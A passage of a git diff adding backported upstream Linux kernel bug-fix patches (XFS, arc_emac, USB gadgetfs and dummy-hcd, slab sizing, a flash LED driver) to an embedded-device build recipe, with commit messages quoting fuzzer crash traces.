mutex_lock(&log->debugfs_lock); ++ if ((log->rpos >= log->wpos && led->buffer_cnt == 0) || ++ ((log->len - log->wpos) < MIN_BUFFER_WRITE_LEN)) ++ goto unlock_mutex; + + led->buffer_cnt--; + + rc = print_to_log(log, "0x%05X ", FLASH_LED_FAULT_STATUS(led->base)); + if (rc == 0) +- return rc; ++ goto unlock_mutex; + + rc = print_to_log(log, "0x%02X ", led->fault_reg); + if (rc == 0) +- return rc; ++ goto unlock_mutex; + + if (log->wpos > 0 && log->data[log->wpos - 1] == ' ') + log->data[log->wpos - 1] = '\n'; +@@ -400,14 +417,19 @@ static ssize_t flash_led_dfs_fault_reg_read(struct file *fp, char __user *buf, + ret = copy_to_user(buf, &log->data[log->rpos], len); + if (ret) { + pr_err("error copy register value to user\n"); +- return -EFAULT; ++ rc = -EFAULT; ++ goto unlock_mutex; + } + + len -= ret; + *ppos += len; + log->rpos += len; + +- return len; ++ rc = len; ++ ++unlock_mutex: ++ mutex_unlock(&log->debugfs_lock); ++ return rc; + } + + static ssize_t flash_led_dfs_fault_reg_enable(struct file *file, +@@ -420,10 +442,14 @@ static ssize_t flash_led_dfs_fault_reg_enable(struct file *file, + size_t ret = 0; + + struct qpnp_flash_led *led = file->private_data; +- char *kbuf = kmalloc(count + 1, GFP_KERNEL); ++ char *kbuf; + +- if (!kbuf) +- return -ENOMEM; ++ mutex_lock(&led->log->debugfs_lock); ++ kbuf = kmalloc(count + 1, GFP_KERNEL); ++ if (!kbuf) { ++ ret = -ENOMEM; ++ goto unlock_mutex; ++ } + + ret = copy_from_user(kbuf, buf, count); + if (!ret) { +@@ -452,6 +478,8 @@ static ssize_t flash_led_dfs_fault_reg_enable(struct file *file, + + free_buf: + kfree(kbuf); ++unlock_mutex: ++ mutex_unlock(&led->log->debugfs_lock); + return ret; + } + +@@ -464,10 +492,14 @@ static ssize_t flash_led_dfs_dbg_enable(struct file *file, + int data; + size_t ret = 0; + struct qpnp_flash_led *led = file->private_data; +- char *kbuf = kmalloc(count + 1, GFP_KERNEL); ++ char *kbuf; + +- if (!kbuf) +- return -ENOMEM; ++ mutex_lock(&led->log->debugfs_lock); ++ kbuf = kmalloc(count + 1, GFP_KERNEL); ++ if (!kbuf) { ++ ret = -ENOMEM; ++ goto unlock_mutex; ++ } + + ret = copy_from_user(kbuf, buf, count); + if (ret == count) { +@@ -495,6 +527,8 @@ static ssize_t flash_led_dfs_dbg_enable(struct file *file, + + free_buf: + kfree(kbuf); ++unlock_mutex: ++ mutex_unlock(&led->log->debugfs_lock); + return ret; + } + +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0167.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0167.diff new file mode 100644 index 0000000..11627a4 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0167.diff @@ -0,0 +1,39 @@ +diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c +index 5dcd602..0cc20fa 100644 +--- a/fs/xfs/xfs_aops.c ++++ b/fs/xfs/xfs_aops.c +@@ -1315,6 +1315,26 @@ + if (error) + goto out_unlock; + ++ /* ++ * The only time we can ever safely find delalloc blocks on direct I/O ++ * is a dio write to post-eof speculative preallocation. All other ++ * scenarios are indicative of a problem or misuse (such as mixing ++ * direct and mapped I/O). ++ * ++ * The file may be unmapped by the time we get here so we cannot ++ * reliably fail the I/O based on mapping. Instead, fail the I/O if this ++ * is a read or a write within eof. Otherwise, carry on but warn as a ++ * precuation if the file happens to be mapped. ++ */ ++ if (direct && imap.br_startblock == DELAYSTARTBLOCK) { ++ if (!create || offset < i_size_read(VFS_I(ip))) { ++ WARN_ON_ONCE(1); ++ error = -EIO; ++ goto out_unlock; ++ } ++ WARN_ON_ONCE(mapping_mapped(VFS_I(ip)->i_mapping)); ++ } ++ + if (create && + (!nimaps || + (imap.br_startblock == HOLESTARTBLOCK || +@@ -1398,7 +1418,6 @@ + set_buffer_new(bh_result); + + if (imap.br_startblock == DELAYSTARTBLOCK) { +- BUG_ON(direct); + if (create) { + set_buffer_uptodate(bh_result); + set_buffer_mapped(bh_result); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0168-c278c253f3d9-net arcemac fix koops caused by skbuff free.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0168-c278c253f3d9-net arcemac fix koops caused by skbuff free.patch new file mode 100644 index 0000000..de33971 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0168-c278c253f3d9-net arcemac fix koops caused by skbuff free.patch @@ -0,0 +1,159 @@ +From c278c253f3d992c6994d08aa0efb2b6806ca396f Mon Sep 17 00:00:00 2001 +From: Alexander Kochetkov +Date: Tue, 9 Feb 2016 18:20:38 +0300 +Subject: net: arc_emac: fix koops caused by sk_buff free + +There is a race between arc_emac_tx() and arc_emac_tx_clean(). +sk_buff got freed by arc_emac_tx_clean() while arc_emac_tx() +submitting sk_buff. + +In order to free sk_buff arc_emac_tx_clean() checks: + if ((info & FOR_EMAC) || !txbd->data) + break; + ... + dev_kfree_skb_irq(skb); + +If condition false, arc_emac_tx_clean() free sk_buff. + +In order to submit txbd, arc_emac_tx() do: + priv->tx_buff[*txbd_curr].skb = skb; + ... + priv->txbd[*txbd_curr].data = cpu_to_le32(addr); + ... + ... <== arc_emac_tx_clean() check condition here + ... <== (info & FOR_EMAC) is false + ... <== !txbd->data is false + ... + *info = cpu_to_le32(FOR_EMAC | FIRST_OR_LAST_MASK | len); + +In order to reproduce the situation, +run device: + # iperf -s +run on host: + # iperf -t 600 -c + +[ 28.396284] ------------[ cut here ]------------ +[ 28.400912] kernel BUG at .../net/core/skbuff.c:1355! +[ 28.414019] Internal error: Oops - BUG: 0 [#1] SMP ARM +[ 28.419150] Modules linked in: +[ 28.422219] CPU: 0 PID: 0 Comm: swapper/0 Tainted: G B 4.4.0+ #120 +[ 28.429516] Hardware name: Rockchip (Device Tree) +[ 28.434216] task: c0665070 ti: c0660000 task.ti: c0660000 +[ 28.439622] PC is at skb_put+0x10/0x54 +[ 28.443381] LR is at arc_emac_poll+0x260/0x474 +[ 28.447821] pc : [] lr : [] psr: a0070113 +[ 28.447821] sp : c0661e58 ip : eea68502 fp : ef377000 +[ 28.459280] r10: 0000012c r9 : f08b2000 r8 : eeb57100 +[ 28.464498] r7 : 00000000 r6 : ef376594 r5 : 00000077 r4 : ef376000 +[ 28.471015] r3 : 0030488b r2 : ef13e880 r1 : 000005ee r0 : eeb57100 +[ 28.477534] Flags: NzCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment none +[ 28.484658] Control: 10c5387d Table: 8eaf004a DAC: 00000051 +[ 28.490396] Process swapper/0 (pid: 0, stack limit = 0xc0660210) +[ 28.496393] Stack: (0xc0661e58 to 0xc0662000) +[ 28.500745] 1e40: 00000002 00000000 +[ 28.508913] 1e60: 00000000 ef376520 00000028 f08b23b8 00000000 ef376520 ef7b6900 c028fc64 +[ 28.517082] 1e80: 2f158000 c0661ea8 c0661eb0 0000012c c065e900 c03bdeac ffff95e9 c0662100 +[ 28.525250] 1ea0: c0663924 00000028 c0661ea8 c0661ea8 c0661eb0 c0661eb0 0000001e c0660000 +[ 28.533417] 1ec0: 40000003 00000008 c0695a00 0000000a c066208c 00000100 c0661ee0 c0027410 +[ 28.541584] 1ee0: ef0fb700 2f158000 00200000 ffff95e8 00000004 c0662100 c0662080 00000003 +[ 28.549751] 1f00: 00000000 00000000 00000000 c065b45c 0000001e ef005000 c0647a30 00000000 +[ 28.557919] 1f20: 00000000 c0027798 00000000 c005cf40 f0802100 c0662ffc c0661f60 f0803100 +[ 28.566088] 1f40: c0661fb8 c00093bc c000ffb4 60070013 ffffffff c0661f94 c0661fb8 c00137d4 +[ 28.574267] 1f60: 00000001 00000000 00000000 c001ffa0 00000000 c0660000 00000000 c065a364 +[ 28.582441] 1f80: c0661fb8 c0647a30 00000000 00000000 00000000 c0661fb0 c000ffb0 c000ffb4 +[ 28.590608] 1fa0: 60070013 ffffffff 00000051 00000000 00000000 c005496c c0662400 c061bc40 +[ 28.598776] 1fc0: ffffffff ffffffff 00000000 c061b680 00000000 c0647a30 00000000 c0695294 +[ 28.606943] 1fe0: c0662488 c0647a2c c066619c 6000406a 413fc090 6000807c 00000000 00000000 +[ 28.615127] [] (skb_put) from [] (0xef376520) +[ 28.621218] Code: e5902054 e590c090 e3520000 0a000000 (e7f001f2) +[ 28.627307] ---[ end trace 4824734e2243fdb6 ]--- + +[ 34.377068] Internal error: Oops: 17 [#1] SMP ARM +[ 34.382854] Modules linked in: +[ 34.385947] CPU: 0 PID: 3 Comm: ksoftirqd/0 Not tainted 4.4.0+ #120 +[ 34.392219] Hardware name: Rockchip (Device Tree) +[ 34.396937] task: ef02d040 ti: ef05c000 task.ti: ef05c000 +[ 34.402376] PC is at __dev_kfree_skb_irq+0x4/0x80 +[ 34.407121] LR is at arc_emac_poll+0x130/0x474 +[ 34.411583] pc : [] lr : [] psr: 60030013 +[ 34.411583] sp : ef05de68 ip : 0008e83c fp : ef377000 +[ 34.423062] r10: c001bec4 r9 : 00000000 r8 : f08b24c8 +[ 34.428296] r7 : f08b2400 r6 : 00000075 r5 : 00000019 r4 : ef376000 +[ 34.434827] r3 : 00060000 r2 : 00000042 r1 : 00000001 r0 : 00000000 +[ 34.441365] Flags: nZCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment none +[ 34.448507] Control: 10c5387d Table: 8f25c04a DAC: 00000051 +[ 34.454262] Process ksoftirqd/0 (pid: 3, stack limit = 0xef05c210) +[ 34.460449] Stack: (0xef05de68 to 0xef05e000) +[ 34.464827] de60: ef376000 c028fd94 00000000 c0669480 c0669480 ef376520 +[ 34.473022] de80: 00000028 00000001 00002ae4 ef376520 ef7b6900 c028fc64 2f158000 ef05dec0 +[ 34.481215] dea0: ef05dec8 0000012c c065e900 c03bdeac ffff983f c0662100 c0663924 00000028 +[ 34.489409] dec0: ef05dec0 ef05dec0 ef05dec8 ef05dec8 ef7b6000 ef05c000 40000003 00000008 +[ 34.497600] dee0: c0695a00 0000000a c066208c 00000100 ef05def8 c0027410 ef7b6000 40000000 +[ 34.505795] df00: 04208040 ffff983e 00000004 c0662100 c0662080 00000003 ef05c000 ef027340 +[ 34.513985] df20: ef05c000 c0666c2c 00000000 00000001 00000002 00000000 00000000 c0027568 +[ 34.522176] df40: ef027340 c003ef48 ef027300 00000000 ef027340 c003edd4 00000000 00000000 +[ 34.530367] df60: 00000000 c003c37c ffffff7f 00000001 00000000 ef027340 00000000 00030003 +[ 34.538559] df80: ef05df80 ef05df80 00000000 00000000 ef05df90 ef05df90 ef05dfac ef027300 +[ 34.546750] dfa0: c003c2a4 00000000 00000000 c000f578 00000000 00000000 00000000 00000000 +[ 34.554939] dfc0: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 +[ 34.563129] dfe0: 00000000 00000000 00000000 00000000 00000013 00000000 ffffffff dfff7fff +[ 34.571360] [] (__dev_kfree_skb_irq) from [] (arc_emac_poll+0x130/0x474) +[ 34.579840] [] (arc_emac_poll) from [] (net_rx_action+0xdc/0x28c) +[ 34.587712] [] (net_rx_action) from [] (__do_softirq+0xcc/0x1f8) +[ 34.595482] [] (__do_softirq) from [] (run_ksoftirqd+0x2c/0x50) +[ 34.603168] [] (run_ksoftirqd) from [] (smpboot_thread_fn+0x174/0x18c) +[ 34.611466] [] (smpboot_thread_fn) from [] (kthread+0xd8/0xec) +[ 34.619075] [] (kthread) from [] (ret_from_fork+0x14/0x3c) +[ 34.626317] Code: e8bd8010 e3a00000 e12fff1e e92d4010 (e59030a4) +[ 34.632572] ---[ end trace cca5a3d86a82249a ]--- + +Signed-off-by: Alexander Kochetkov +Signed-off-by: David S. Miller +--- + drivers/net/ethernet/arc/emac_main.c | 9 +++++++-- + 1 file changed, 7 insertions(+), 2 deletions(-) + +diff --git a/drivers/net/ethernet/arc/emac_main.c b/drivers/net/ethernet/arc/emac_main.c +index abe1eabc0171..63a63e31d59d 100644 +--- a/drivers/net/ethernet/arc/emac_main.c ++++ b/drivers/net/ethernet/arc/emac_main.c +@@ -163,7 +163,7 @@ static void arc_emac_tx_clean(struct net_device *ndev) + struct sk_buff *skb = tx_buff->skb; + unsigned int info = le32_to_cpu(txbd->info); + +- if ((info & FOR_EMAC) || !txbd->data) ++ if ((info & FOR_EMAC) || !txbd->data || !skb) + break; + + if (unlikely(info & (DROP | DEFR | LTCL | UFLO))) { +@@ -191,6 +191,7 @@ static void arc_emac_tx_clean(struct net_device *ndev) + + txbd->data = 0; + txbd->info = 0; ++ tx_buff->skb = NULL; + + *txbd_dirty = (*txbd_dirty + 1) % TX_BD_NUM; + } +@@ -610,7 +611,6 @@ static int arc_emac_tx(struct sk_buff *skb, struct net_device *ndev) + dma_unmap_addr_set(&priv->tx_buff[*txbd_curr], addr, addr); + dma_unmap_len_set(&priv->tx_buff[*txbd_curr], len, len); + +- priv->tx_buff[*txbd_curr].skb = skb; + priv->txbd[*txbd_curr].data = cpu_to_le32(addr); + + /* Make sure pointer to data buffer is set */ +@@ -620,6 +620,11 @@ static int arc_emac_tx(struct sk_buff *skb, struct net_device *ndev) + + *info = cpu_to_le32(FOR_EMAC | FIRST_OR_LAST_MASK | len); + ++ /* Make sure info word is set */ ++ wmb(); ++ ++ priv->tx_buff[*txbd_curr].skb = skb; ++ + /* Increment index to point to the next BD */ + *txbd_curr = (*txbd_curr + 1) % TX_BD_NUM; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0169-6e76c01e7155-PATCH USB gadgetfs fix copytouser while holding spinlock.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0169-6e76c01e7155-PATCH USB gadgetfs fix copytouser while holding spinlock.patch new file mode 100644 index 0000000..d6963da --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0169-6e76c01e7155-PATCH USB gadgetfs fix copytouser while holding spinlock.patch @@ -0,0 +1,40 @@ +From 6e76c01e71551cb221c1f3deacb9dcd9a7346784 Mon Sep 17 00:00:00 2001 +From: Alan Stern +Date: Thu, 21 Sep 2017 16:12:01 -0400 +Subject: [PATCH] USB: gadgetfs: fix copy_to_user while holding spinlock + +The gadgetfs driver as a long-outstanding FIXME, regarding a call of +copy_to_user() made while holding a spinlock. This patch fixes the +issue by dropping the spinlock and using the dev->udc_usage mechanism +introduced by another recent patch to guard against status changes +while the lock isn't held. + +Signed-off-by: Alan Stern +Reported-by: Andrey Konovalov +CC: +Acked-by: Felipe Balbi +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/gadget/legacy/inode.c | 5 ++++- + 1 file changed, 4 insertions(+), 1 deletion(-) + +diff --git a/drivers/usb/gadget/legacy/inode.c b/drivers/usb/gadget/legacy/inode.c +index 684900fcfe24c..956b3dc7c3a4d 100644 +--- a/drivers/usb/gadget/legacy/inode.c ++++ b/drivers/usb/gadget/legacy/inode.c +@@ -983,11 +983,14 @@ ep0_read (struct file *fd, char __user *buf, size_t len, loff_t *ptr) + retval = -EIO; + else { + len = min (len, (size_t)dev->req->actual); +-// FIXME don't call this with the spinlock held ... ++ ++dev->udc_usage; ++ spin_unlock_irq(&dev->lock); + if (copy_to_user (buf, dev->req->buf, len)) + retval = -EFAULT; + else + retval = len; ++ spin_lock_irq(&dev->lock); ++ --dev->udc_usage; + clean_req (dev->gadget->ep0, dev->req); + /* NOTE userspace can't yet choose to stall */ + } diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0170-bb1107f7c605-PATCH mm slab make sure that KMALLOCMAXSIZE will fit into.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0170-bb1107f7c605-PATCH mm slab make sure that KMALLOCMAXSIZE will fit into.patch new file mode 100644 index 0000000..674ca7f --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0170-bb1107f7c605-PATCH mm slab make sure that KMALLOCMAXSIZE will fit into.patch @@ -0,0 +1,75 @@ +From bb1107f7c6052c863692a41f78c000db792334bf Mon Sep 17 00:00:00 2001 +From: Michal Hocko +Date: Tue, 10 Jan 2017 16:57:27 -0800 +Subject: [PATCH] mm, slab: make sure that KMALLOC_MAX_SIZE will fit into + MAX_ORDER + +Andrey Konovalov has reported the following warning triggered by the +syzkaller fuzzer. + + WARNING: CPU: 1 PID: 9935 at mm/page_alloc.c:3511 __alloc_pages_nodemask+0x159c/0x1e20 + Kernel panic - not syncing: panic_on_warn set ... + CPU: 1 PID: 9935 Comm: syz-executor0 Not tainted 4.9.0-rc7+ #34 + Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 + Call Trace: + __alloc_pages_slowpath mm/page_alloc.c:3511 + __alloc_pages_nodemask+0x159c/0x1e20 mm/page_alloc.c:3781 + alloc_pages_current+0x1c7/0x6b0 mm/mempolicy.c:2072 + alloc_pages include/linux/gfp.h:469 + kmalloc_order+0x1f/0x70 mm/slab_common.c:1015 + kmalloc_order_trace+0x1f/0x160 mm/slab_common.c:1026 + kmalloc_large include/linux/slab.h:422 + __kmalloc+0x210/0x2d0 mm/slub.c:3723 + kmalloc include/linux/slab.h:495 + ep_write_iter+0x167/0xb50 drivers/usb/gadget/legacy/inode.c:664 + new_sync_write fs/read_write.c:499 + __vfs_write+0x483/0x760 fs/read_write.c:512 + vfs_write+0x170/0x4e0 fs/read_write.c:560 + SYSC_write fs/read_write.c:607 + SyS_write+0xfb/0x230 fs/read_write.c:599 + entry_SYSCALL_64_fastpath+0x1f/0xc2 + +The issue is caused by a lack of size check for the request size in +ep_write_iter which should be fixed. It, however, points to another +problem, that SLUB defines KMALLOC_MAX_SIZE too large because the its +KMALLOC_SHIFT_MAX is (MAX_ORDER + PAGE_SHIFT) which means that the +resulting page allocator request might be MAX_ORDER which is too large +(see __alloc_pages_slowpath). + +The same applies to the SLOB allocator which allows even larger sizes. +Make sure that they are capped properly and never request more than +MAX_ORDER order. + +Link: http://lkml.kernel.org/r/20161220130659.16461-2-mhocko@kernel.org +Signed-off-by: Michal Hocko +Reported-by: Andrey Konovalov +Acked-by: Christoph Lameter +Cc: Alexei Starovoitov +Signed-off-by: Andrew Morton +Signed-off-by: Linus Torvalds +--- + include/linux/slab.h | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/include/linux/slab.h b/include/linux/slab.h +index 084b12bad1982..4c53635668154 100644 +--- a/include/linux/slab.h ++++ b/include/linux/slab.h +@@ -226,7 +226,7 @@ static inline const char *__check_heap_object(const void *ptr, + * (PAGE_SIZE*2). Larger requests are passed to the page allocator. + */ + #define KMALLOC_SHIFT_HIGH (PAGE_SHIFT + 1) +-#define KMALLOC_SHIFT_MAX (MAX_ORDER + PAGE_SHIFT) ++#define KMALLOC_SHIFT_MAX (MAX_ORDER + PAGE_SHIFT - 1) + #ifndef KMALLOC_SHIFT_LOW + #define KMALLOC_SHIFT_LOW 3 + #endif +@@ -239,7 +239,7 @@ static inline const char *__check_heap_object(const void *ptr, + * be allocated from the same page. + */ + #define KMALLOC_SHIFT_HIGH PAGE_SHIFT +-#define KMALLOC_SHIFT_MAX 30 ++#define KMALLOC_SHIFT_MAX (MAX_ORDER + PAGE_SHIFT - 1) + #ifndef KMALLOC_SHIFT_LOW + #define KMALLOC_SHIFT_LOW 3 + #endif diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0171-faab50984fe6-PATCH USB gadgetfs fix unbounded memory allocation bug.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0171-faab50984fe6-PATCH USB gadgetfs fix unbounded memory allocation bug.patch new file mode 100644 index 0000000..e704bf6 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0171-faab50984fe6-PATCH USB gadgetfs fix unbounded memory allocation bug.patch @@ -0,0 +1,64 @@ +From faab50984fe6636e616c7cc3d30308ba391d36fd Mon Sep 17 00:00:00 2001 +From: Alan Stern +Date: Fri, 9 Dec 2016 15:17:46 -0500 +Subject: [PATCH] USB: gadgetfs: fix unbounded memory allocation bug + +Andrey Konovalov reports that fuzz testing with syzkaller causes a +KASAN warning in gadgetfs: + +BUG: KASAN: slab-out-of-bounds in dev_config+0x86f/0x1190 at addr ffff88003c47e160 +Write of size 65537 by task syz-executor0/6356 +CPU: 3 PID: 6356 Comm: syz-executor0 Not tainted 4.9.0-rc7+ #19 +Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 + ffff88003c107ad8 ffffffff81f96aba ffffffff3dc11ef0 1ffff10007820eee + ffffed0007820ee6 ffff88003dc11f00 0000000041b58ab3 ffffffff8598b4c8 + ffffffff81f96828 ffffffff813fb4a0 ffff88003b6eadc0 ffff88003c107738 +Call Trace: + [< inline >] __dump_stack lib/dump_stack.c:15 + [] dump_stack+0x292/0x398 lib/dump_stack.c:51 + [] kasan_object_err+0x1c/0x70 mm/kasan/report.c:159 + [< inline >] print_address_description mm/kasan/report.c:197 + [] kasan_report_error+0x1f0/0x4e0 mm/kasan/report.c:286 + [] kasan_report+0x35/0x40 mm/kasan/report.c:306 + [< inline >] check_memory_region_inline mm/kasan/kasan.c:308 + [] check_memory_region+0x139/0x190 mm/kasan/kasan.c:315 + [] kasan_check_write+0x14/0x20 mm/kasan/kasan.c:326 + [< inline >] copy_from_user arch/x86/include/asm/uaccess.h:689 + [< inline >] ep0_write drivers/usb/gadget/legacy/inode.c:1135 + [] dev_config+0x86f/0x1190 drivers/usb/gadget/legacy/inode.c:1759 + [] __vfs_write+0x5d5/0x760 fs/read_write.c:510 + [] vfs_write+0x170/0x4e0 fs/read_write.c:560 + [< inline >] SYSC_write fs/read_write.c:607 + [] SyS_write+0xfb/0x230 fs/read_write.c:599 + [] entry_SYSCALL_64_fastpath+0x1f/0xc2 + +Indeed, there is a comment saying that the value of len is restricted +to a 16-bit integer, but the code doesn't actually do this. + +This patch fixes the warning. It replaces the comment with a +computation that forces the amount of data copied from the user in +ep0_write() to be no larger than the wLength size for the control +transfer, which is a 16-bit quantity. + +Signed-off-by: Alan Stern +Reported-by: Andrey Konovalov +Tested-by: Andrey Konovalov +CC: +Signed-off-by: Felipe Balbi +--- + drivers/usb/gadget/legacy/inode.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/usb/gadget/legacy/inode.c b/drivers/usb/gadget/legacy/inode.c +index 48f1409b438ad..01ed3bc0c3c8e 100644 +--- a/drivers/usb/gadget/legacy/inode.c ++++ b/drivers/usb/gadget/legacy/inode.c +@@ -1126,7 +1126,7 @@ ep0_write (struct file *fd, const char __user *buf, size_t len, loff_t *ptr) + /* data and/or status stage for control request */ + } else if (dev->state == STATE_DEV_SETUP) { + +- /* IN DATA+STATUS caller makes len <= wLength */ ++ len = min_t(size_t, len, dev->setup_wLength); + if (dev->setup_in) { + retval = setup_req (dev->gadget->ep0, dev->req, len); + if (retval == 0) { diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0172-bcdbeb844773-PATCH USB dummyhcd fix bug in stopactivity handle ep0.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0172-bcdbeb844773-PATCH USB dummyhcd fix bug in stopactivity handle ep0.patch new file mode 100644 index 0000000..09a35d5 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0172-bcdbeb844773-PATCH USB dummyhcd fix bug in stopactivity handle ep0.patch @@ -0,0 +1,64 @@ +From bcdbeb844773333d2d1c08004f3b3e25921040e5 Mon Sep 17 00:00:00 2001 +From: Alan Stern +Date: Wed, 14 Dec 2016 14:55:56 -0500 +Subject: [PATCH] USB: dummy-hcd: fix bug in stop_activity (handle ep0) + +The stop_activity() routine in dummy-hcd is supposed to unlink all +active requests for every endpoint, among other things. But it +doesn't handle ep0. As a result, fuzz testing can generate a WARNING +like the following: + +WARNING: CPU: 0 PID: 4410 at drivers/usb/gadget/udc/dummy_hcd.c:672 dummy_free_request+0x153/0x170 +Modules linked in: +CPU: 0 PID: 4410 Comm: syz-executor Not tainted 4.9.0-rc7+ #32 +Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 + ffff88006a64ed10 ffffffff81f96b8a ffffffff41b58ab3 1ffff1000d4c9d35 + ffffed000d4c9d2d ffff880065f8ac00 0000000041b58ab3 ffffffff8598b510 + ffffffff81f968f8 0000000041b58ab3 ffffffff859410e0 ffffffff813f0590 +Call Trace: + [< inline >] __dump_stack lib/dump_stack.c:15 + [] dump_stack+0x292/0x398 lib/dump_stack.c:51 + [] __warn+0x19f/0x1e0 kernel/panic.c:550 + [] warn_slowpath_null+0x2c/0x40 kernel/panic.c:585 + [] dummy_free_request+0x153/0x170 drivers/usb/gadget/udc/dummy_hcd.c:672 + [] usb_ep_free_request+0xc0/0x420 drivers/usb/gadget/udc/core.c:195 + [] gadgetfs_unbind+0x131/0x190 drivers/usb/gadget/legacy/inode.c:1612 + [] usb_gadget_remove_driver+0x10f/0x2b0 drivers/usb/gadget/udc/core.c:1228 + [] usb_gadget_unregister_driver+0x154/0x240 drivers/usb/gadget/udc/core.c:1357 + +This patch fixes the problem by iterating over all the endpoints in +the driver's ep array instead of iterating over the gadget's ep_list, +which explicitly leaves out ep0. + +Signed-off-by: Alan Stern +Reported-by: Andrey Konovalov +CC: +Signed-off-by: Felipe Balbi +--- + drivers/usb/gadget/udc/dummy_hcd.c | 6 +++--- + 1 file changed, 3 insertions(+), 3 deletions(-) + +diff --git a/drivers/usb/gadget/udc/dummy_hcd.c b/drivers/usb/gadget/udc/dummy_hcd.c +index 02b14e91ae6c5..c60abe3a68f9c 100644 +--- a/drivers/usb/gadget/udc/dummy_hcd.c ++++ b/drivers/usb/gadget/udc/dummy_hcd.c +@@ -330,7 +330,7 @@ static void nuke(struct dummy *dum, struct dummy_ep *ep) + /* caller must hold lock */ + static void stop_activity(struct dummy *dum) + { +- struct dummy_ep *ep; ++ int i; + + /* prevent any more requests */ + dum->address = 0; +@@ -338,8 +338,8 @@ static void stop_activity(struct dummy *dum) + /* The timer is left running so that outstanding URBs can fail */ + + /* nuke any pending requests first, so driver i/o is quiesced */ +- list_for_each_entry(ep, &dum->gadget.ep_list, ep.ep_list) +- nuke(dum, ep); ++ for (i = 0; i < DUMMY_ENDPOINTS; ++i) ++ nuke(dum, &dum->ep[i]); + + /* driver now does any non-usb quiescing necessary */ + } diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0173-1c069b057dcf-PATCH USB gadgetfs fix checks of wTotalLength in config.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0173-1c069b057dcf-PATCH USB gadgetfs fix checks of wTotalLength in config.patch new file mode 100644 index 0000000..e447726 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0173-1c069b057dcf-PATCH USB gadgetfs fix checks of wTotalLength in config.patch @@ -0,0 +1,65 @@ +From 1c069b057dcf64fada952eaa868d35f02bb0cfc2 Mon Sep 17 00:00:00 2001 +From: Alan Stern +Date: Fri, 9 Dec 2016 15:24:24 -0500 +Subject: [PATCH] USB: gadgetfs: fix checks of wTotalLength in config + descriptors + +Andrey Konovalov's fuzz testing of gadgetfs showed that we should +improve the driver's checks for valid configuration descriptors passed +in by the user. In particular, the driver needs to verify that the +wTotalLength value in the descriptor is not too short (smaller +than USB_DT_CONFIG_SIZE). And the check for whether wTotalLength is +too large has to be changed, because the driver assumes there is +always enough room remaining in the buffer to hold a device descriptor +(at least USB_DT_DEVICE_SIZE bytes). + +This patch adds the additional check and fixes the existing check. It +may do a little more than strictly necessary, but one extra check +won't hurt. + +Signed-off-by: Alan Stern +CC: Andrey Konovalov +CC: +Signed-off-by: Felipe Balbi +--- + drivers/usb/gadget/legacy/inode.c | 10 +++++++--- + 1 file changed, 7 insertions(+), 3 deletions(-) + +diff --git a/drivers/usb/gadget/legacy/inode.c b/drivers/usb/gadget/legacy/inode.c +index f1ca339426073..08e5ecc050795 100644 +--- a/drivers/usb/gadget/legacy/inode.c ++++ b/drivers/usb/gadget/legacy/inode.c +@@ -1734,10 +1734,12 @@ static struct usb_gadget_driver gadgetfs_driver = { + * such as configuration notifications. + */ + +-static int is_valid_config (struct usb_config_descriptor *config) ++static int is_valid_config(struct usb_config_descriptor *config, ++ unsigned int total) + { + return config->bDescriptorType == USB_DT_CONFIG + && config->bLength == USB_DT_CONFIG_SIZE ++ && total >= USB_DT_CONFIG_SIZE + && config->bConfigurationValue != 0 + && (config->bmAttributes & USB_CONFIG_ATT_ONE) != 0 + && (config->bmAttributes & USB_CONFIG_ATT_WAKEUP) == 0; +@@ -1787,7 +1789,8 @@ dev_config (struct file *fd, const char __user *buf, size_t len, loff_t *ptr) + /* full or low speed config */ + dev->config = (void *) kbuf; + total = le16_to_cpu(dev->config->wTotalLength); +- if (!is_valid_config (dev->config) || total >= length) ++ if (!is_valid_config(dev->config, total) || ++ total > length - USB_DT_DEVICE_SIZE) + goto fail; + kbuf += total; + length -= total; +@@ -1796,7 +1799,8 @@ dev_config (struct file *fd, const char __user *buf, size_t len, loff_t *ptr) + if (kbuf [1] == USB_DT_CONFIG) { + dev->hs_config = (void *) kbuf; + total = le16_to_cpu(dev->hs_config->wTotalLength); +- if (!is_valid_config (dev->hs_config) || total >= length) ++ if (!is_valid_config(dev->hs_config, total) || ++ total > length - USB_DT_DEVICE_SIZE) + goto fail; + kbuf += total; + length -= total; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0174-add333a81a16-PATCH USB gadgetfs fix useafterfree bug.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0174-add333a81a16-PATCH USB gadgetfs fix useafterfree bug.patch new file mode 100644 index 0000000..f3962a8 --- /dev/null +++ 